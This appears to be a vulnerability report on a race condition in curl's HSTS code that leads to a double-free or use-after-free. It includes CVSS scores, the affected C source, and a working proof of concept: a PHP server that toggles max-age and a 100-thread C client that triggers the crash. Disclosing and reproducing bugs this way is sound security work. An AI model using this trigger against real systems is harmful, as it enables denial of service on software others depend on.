5.9 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
2.6 Low
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:N/I:N/A:P
0.0005 Low
EPSS
Percentile
16.3%
When processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control.
HSTS entries disappear when they expire or when “max-age=0” is received.
In this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control.
Therefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.
lib/hsts.c
in the function Curl_hsts_parse
on lines 213-221
if(!expires) {
/* remove the entry if present verbatim (without subdomain match) */
sts = Curl_hsts(h, hostname, FALSE);
if(sts) {
Curl_llist_remove(&h->list, &sts->node, NULL);
hsts_free(sts);
}
return CURLE_OK;
}
If multiple threads process hsts_free(sts);
at the same time, it becomes double-free.
Another problem is that UAF occurs when other threads access entries.
Lines 270-275 have a similar problem.
<?php
$random = rand(0, 1);
if($random == 0){
header("strict-transport-security: max-age=9999");
}else{
header("strict-transport-security: max-age=0");
}
#include <stdio.h>
#define HAVE_STRUCT_TIMESPEC // [Add]
#include <pthread.h>
#include <curl/curl.h>
#define NUMT 100
const char* const url = "https://test.local/poc.php";
pthread_mutex_t lock[9];
static void lock_cb(CURL* handle, curl_lock_data data,
curl_lock_access access, void* userptr)
{
pthread_mutex_lock(&lock[data]); /* uses a global lock array */
}
static void unlock_cb(CURL* handle, curl_lock_data data,
void* userptr)
{
pthread_mutex_unlock(&lock[data]); /* uses a global lock array */
}
static void* pull_one_url(void* shobject)
{
CURL* curl;
for (int i = 0; i < 100; i++) {
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HSTS, "c:\\home\\hsts.txt");
curl_easy_setopt(curl, CURLOPT_SHARE, shobject);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_perform(curl); /* ignores error */
curl_easy_cleanup(curl);
}
return NULL;
}
int main(int argc, char** argv)
{
pthread_t tid[NUMT] = {0};
int i;
for(i = 0;i<=9;i++)
pthread_mutex_init(&lock[i], NULL);
/* Must initialize libcurl before any threads are started */
curl_global_init(CURL_GLOBAL_ALL);
CURLSH* shobject = curl_share_init();
curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);
curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);
curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);
for (i = 0; i < NUMT; i++) {
int error = pthread_create(&tid[i],
NULL, /* default attributes please */
pull_one_url,
(void*)shobject);
if (0 != error)
fprintf(stderr, "Couldn't run thread number %d, errno %d\n", i, error);
else
fprintf(stderr, "Thread %d, gets %s\n", i, url);
}
/* now wait for all threads to terminate */
for (i = 0; i < NUMT; i++) {
pthread_join(tid[i], NULL);
fprintf(stderr, "Thread %d terminated\n", i);
}
curl_share_cleanup(shobject);
curl_global_cleanup();
return 0;
}
The source was referred to under docs/examples.
Supplement.
URL is https://test.local/poc.php.
php that randomly memorizes and deletes HSTS entries.
It’s hard to reproduce if it’s random, but I’ve confirmed that the problem will occur.
I attach an image of when the UAF happened(I tried in debug build).
The number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur.
{F2216003}
Double-free
5.9 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
2.6 Low
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:N/I:N/A:P
0.0005 Low
EPSS
Percentile
16.3%